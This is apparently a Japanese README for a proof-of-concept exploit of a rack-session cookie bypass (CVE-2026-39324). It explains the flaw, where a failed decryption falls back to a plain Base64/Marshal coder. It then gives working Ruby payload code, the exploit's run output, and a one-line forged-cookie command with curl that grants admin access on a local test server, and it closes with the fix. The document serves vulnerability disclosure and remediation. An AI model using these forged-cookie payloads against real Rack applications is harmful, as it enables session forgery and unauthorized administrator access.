
Rack::Cookie認証バイパス(CVE-2026-39324)の概念実証エクスプロイト。フォールバックコーダーを介したセッション偽造により管理者アクセスを取得することを実証します。
Rack::Session::Cookieの復号失敗時に暗号化されていないCookieを受け入れてしまうフォールバック
| アドバイザリ | GHSA-33qg-7wpp-89cq |
| パッケージ | rack-session (RubyGems) |
| 影響を受けるバージョン | <= 2.1.1 |
| 修正済みバージョン | 2.1.2 |
secrets: を指定した Rack::Session::Cookie は、暗号化されたCookieのみを受け入れるべきです。しかし、復号に失敗した場合、Cookieを拒否せず、デフォルトの Base64::Marshal コーダーにフォールバックします。
攻撃者は、秘密鍵を知らなくても、プレーンな Base64(Marshal.dump(...)) 形式のCookieを送信し、サーバーがそれを有効なセッションデータとして受け入れるようにできます。
rack-session <= 2.1.1secrets: オプションを指定した Rack::Session::Cookieuser_id、role など)を認可に使用している影響を受けないケース:
secret:(単数形)— HMAC署名を使用するため、コードパスが異なります。secrets:(複数形、暗号化Cookieモード)のみが脆弱です。ActionDispatch::Session::CookieStore を使用するため、実装が別です。# lib/rack/session/cookie.rb
# フォールバックコーダーは、secrets: 設定に関係なく常に作成される
@coder = options[:coder] ||= Base64::Marshal.new
# 復号を試行 — 暗号化されていないCookieではすべて失敗する
encryptors.each do |encryptor|
session_data = encryptor.decrypt(cookie_data) rescue next
break
end
# バグ: 拒否せず、暗号化されていないコーダーにフォールスルーする
if !session_data && coder
session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...))
end
secrets: パスでの復号失敗は致命的であるべきです。しかし、実際にはCookieが coder.decode() に渡されるため、プレーンなCookieがセッションデータとして読み込まれてしまいます。
poc/
├── Gemfile rack-session 2.1.1
├── server.rb secrets: 設定を使用したRackアプリ
├── verify.rb ベースライン確認(通常の動作)
└── attack.rb セッション偽造(エクスプロイト)
cd poc
bundle install
ruby server.rb & # 脆弱なサーバーを起動
ruby verify.rb # 通常の動作を確認
ruby attack.rb # Cookieを偽造 → 管理者アクセス
暗号化Cookieに secrets: を使用するRackアプリ。2人のユーザー: id=1(一般)、id=2(管理者)。セッションには user_id のみが保存され、管理者チェックはサーバー側のルックアップで行われます。
サーバーが正しく動作することを確認します:
| リクエスト | 期待される結果 |
|---|---|
GET /admin(Cookieなし) | 403 |
POST /login?id=1 | 200、暗号化Cookie |
GET /admin(user id=1のCookie) | 403 |
秘密鍵なしでセッションCookieを偽造します。
1) Cookieの偽造:
payload = { "session_id" => "attacker-forged", "user_id" => 2 }
cookie = Base64.strict_encode64(Marshal.dump(payload))
2) 偽造Cookieを受信したときのサーバー側の処理フロー:
encryptor #1 decrypt → HMAC invalid
encryptor #2 decrypt → HMAC invalid
fallback → coder.decode() → Marshal.load → 攻撃者のセッションが受け入れられる
→ session["user_id"] = 2 → 管理者ユーザーが解決される → 200 OK
$ ruby attack.rb
--- CVE-2026-39324: Session Forgery ---
Target: http://127.0.0.1:9416
Payload: {"session_id" => "attacker-forged", "user_id" => 2}
Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH
Session cookie encryptor error: HMAC is invalid ← encryptor #1 failed
Session cookie encryptor error: HMAC is invalid ← encryptor #2 failed, but cookie not rejected
Status: 200
Body: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "[email protected]", "admin" => true}}
[!] VULNERABLE — forged user_id=2 accepted, admin access granted.
両方のHMACチェックが失敗しても、Cookieは拒否されません — フォールバックコーダーがそれを受け入れ、攻撃者は管理者権限を取得します。
ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))'
# → BAh7BkkiDHVzZXJfaWQGOgZFVGkH
curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH'
rack-session を >= 2.1.2 に更新する